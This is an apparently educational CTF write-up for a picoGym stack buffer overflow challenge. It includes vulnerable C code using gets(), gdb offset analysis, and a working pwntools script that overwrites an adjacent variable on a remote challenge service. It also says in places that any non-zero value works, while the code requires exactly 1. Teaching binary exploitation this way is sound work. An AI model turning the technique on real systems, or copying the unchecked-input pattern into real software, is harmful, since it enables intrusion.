PicoCTF Buffer Overflow 0 Writeup — Overwrite a Variable to Unlock the Flag

Pwn 2026-11-02 · picoGym · By CTFdojo · ⏱ ... · 👁 ... views
𝕏 Share
TL;DR

The binary reads user input into a fixed-size buffer without checking its length (gets()). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (int flag_check) which, once set to a non-zero value, triggers the flag display.

PlatformpicoGym
CategoryBinary Exploitation (Pwn)
Points200 pts
DifficultyIntermediate
TechniqueBuffer overflow, pwntools

Challenge description

The challenge provides a vuln binary along with its C source code. It contains a vuln() function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:

void vuln(){
    char buf[64];
    int flag_check = 0;

    printf("Please enter your string: \n");
    gets(buf);

    if (flag_check == 0x1) {
        printf("Attempting to read flag\n");
        print_flag();
    } else {
        printf("Value: 0x%x\n", flag_check);
        printf("Better luck next time!\n");
    }
}

The goal is clear: force flag_check to hold 1 (or any non-zero value interpreted as such) so the program calls print_flag().

Step 1 — Static analysis

The key point is the order in which variables are declared inside vuln(): buf[64] is declared just before flag_check. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — flag_check ends up right after buf, at higher addresses.

In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by flag_check.

Step 2 — Check the protections

First, we check which memory protections are active on the binary using checksec (provided by pwntools):

$ checksec ./vuln
[*] '/home/user/bof0/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No stack canary is present: nothing detects a stack overwrite before the return. This is consistent with an introductory challenge — we can overwrite flag_check without triggering any alarm.

Step 3 — Calculate the offset

The source code shows char buf[64]. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), flag_check sits right after these 64 bytes. We can confirm this with gdb by setting a breakpoint after the read and inspecting the addresses of both variables:

gdb-peda$ break *vuln+80
gdb-peda$ run
gdb-peda$ p &buf
$1 = (char (*)[64]) 0x7ffee2a1b3a0
gdb-peda$ p &flag_check
$2 = (int *) 0x7ffee2a1b3e0

The difference between the two addresses (0x3e0 - 0x3a0 = 0x40, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach flag_check.

Step 4 — Exploit with pwntools

The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer 1 in little-endian, to overwrite flag_check with a non-zero value.

from pwn import *

# context.log_level = 'debug'
elf = context.binary = ELF('./vuln')

# io = process('./vuln')            # test locally
io = remote('mercury.picoctf.net', 12345)  # connect to the remote service

offset = 64
payload = b'A' * offset
payload += p32(0x1)   # overwrite flag_check with 1

io.recvuntil(b'string: \n')
io.sendline(payload)

print(io.recvall().decode())

Step 5 — Grab the flag

We run the exploit. The program reads our 68-byte input, overwrites flag_check, enters the if block, and calls print_flag():

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345
🚩 picoCTF{flag intentionally hidden}

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.

Resources

Related reading

Pwn 2026-11-09 · picoGym

PicoCTF Buffer Overflow 1 Writeup — Overwrite a Return Address to Call win()

Redirect execution to a win() function by overwriting the return address.

CTFdojo
CTFdojo
Community of ethical hackers writing beginner-friendly CTF writeups and guides.

Got a question or a different approach?

Discuss this writeup with the community on the CTFdojo Discord.

Join the Discord →